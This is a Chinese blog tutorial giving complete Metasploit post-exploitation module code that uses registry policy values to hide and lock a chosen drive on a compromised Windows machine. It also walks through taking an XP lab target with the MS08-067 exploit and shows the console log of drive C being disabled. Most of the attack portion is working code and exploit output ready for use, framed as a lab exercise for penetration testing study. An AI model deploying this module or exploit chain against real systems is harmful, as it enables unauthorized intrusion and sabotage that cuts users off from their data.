编写让磁盘失效的后渗透模块
一、代码实现
require 'msf/core' require 'rex' require 'msf/core/post/windows/registry' class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry def initialize super( 'Name' => 'DRIVE DISABLER', 'Description' => 'drive test!', 'Author' => 'z9m8r8', 'License' => MSF_LICENSE ) register_options( [
OptString.new('DriveName',[true,'Please set the Drive Letter']) ], self.class ) end def run drive_int = drive_string(datastore['DriveName']) key1="HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" exists=meterpreter_registry_key_exist?(key1) if not exists print_error("Key Doesn't exist,Creating Key!") registry_createkey(key1) print_good("creating ok!") meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) print_good("Restricting Access to the Drive") meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) else print_good("Key Exist, Skipping and Creating Values") print_good("Hiding Drive") meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) print_good("Restricting Access to the Drive") meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE) end print_good("Disabled #{datastore['DriveName']} Drive") end def drive_string(drive) case drive when "A" return 1 when "B" return 2 when "C" return 4 when "D" return 8 when "E" return 16 end end end
二、代码解析
1、库文件介绍
Msf::Post::Windows::Registry,存于lib/msf/core/post/windows/registry.rb中,功能:操纵注册表
2、函数介绍
- register_options
register_options定义模块中要使用的自定义选项,并且使用OptString.new将DriveName定义为字符串类型。要定义一个新选项,需要required和description两个参数。这里需要将required的值设置为true,因为我们需要一个盘符来启动隐藏和禁用的进程。将这个值设置为true之后,除非将一个值分配给这个模块,否则这个模块将不会启动。
- run
meterpreter_registry_key_exist,存在于lib/msf/core/post/windows/registry.rb中,检查在注册表中是否存在一个指定的键
registry_createkey,存在于lib/msf/core/post/windows/registry.rb中,创建一个新的注册表键
meterpreter_registry_setvaldata,存在于lib/msf/core/post/windows/registry.rb中,创建一个新的注册表值
- drive_string()
盘符掩码的计算,即将变量DriveName发送给drive_string方法以获得盘符对应的数值。
公式:2^([驱动器字符序列号]-1)
- meterpreter_registry_setvaldata()
参数(5个)说明:
字符串类型的注册表键路径,字符串类型的注册表值,10进制数字表示的硬盘盘符(这个值也要转换成对应的字符串类型),字符串类型的注册表值类型,整数类型的视图值(初始为0,设置为1表示32位视图,设置为2表示64位视图)
为实现对盘符的隐藏和访问限制需要创建两个注册表值,它们分别为NoDrives和NoViewOnDrive,值为10进制或者16进制表示的盘符,定义的类型为DWORD。
meterpreter_registry_setvaldata(key1,'NoDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE)
meterpreter_registry_setvaldata(key1,'NoViewOnDrives',drive_int.to_s,'REG_DWORD',REGISTRY_VIEW_NATIVE)
- meterpreter_registry_key_exist
检查在系统中是否已经存在该注册表键
三、msf 中测试
1、靶机(xp_sp3)测试前
2、利用ms08_067拿下靶机(XP)
- 需要开启445端口,关闭防火墙
- xp开启445端口的方法
- https://zhidao.baidu.com/question/630090474565658644.html
- WinXP如何关闭Windows防火墙
- http://www.xitongzhijia.net/xtjc/20171106/111018.html
- 使用 exploit(windows/smb/ms08_067_netapi) 攻击即可
报错解决
445 端口问题,有时候445是开着的,但仍旧报上图错,先重新开下445,再重启xp即可
3、后渗透测试
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > background [*] Backgrounding session 1... msf6 exploit(windows/smb/ms08_067_netapi) > back msf6 > use post/windows/windows_test msf6 post(windows/windows_test) > set session 1 session => 1 msf6 post(windows/windows_test) > set drivename C drivename => C msf6 post(windows/windows_test) > exploit [!] SESSION may not be compatible with this module (incompatible session type: meterpreter) [+] Key Exist, Skipping and Creating Values [+] Hiding Drive [+] Restricting Access to the Drive [+] Disabled C Drive [*] Post module execution completed msf6 post(windows/windows_test) >
4、靶机测试后:
备注:要确保你已经获得了系统级的访问权限,方可执行上面的代码
四、参考文献
《精通Metasploit渗透测试》
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· 单线程的Redis速度为什么快?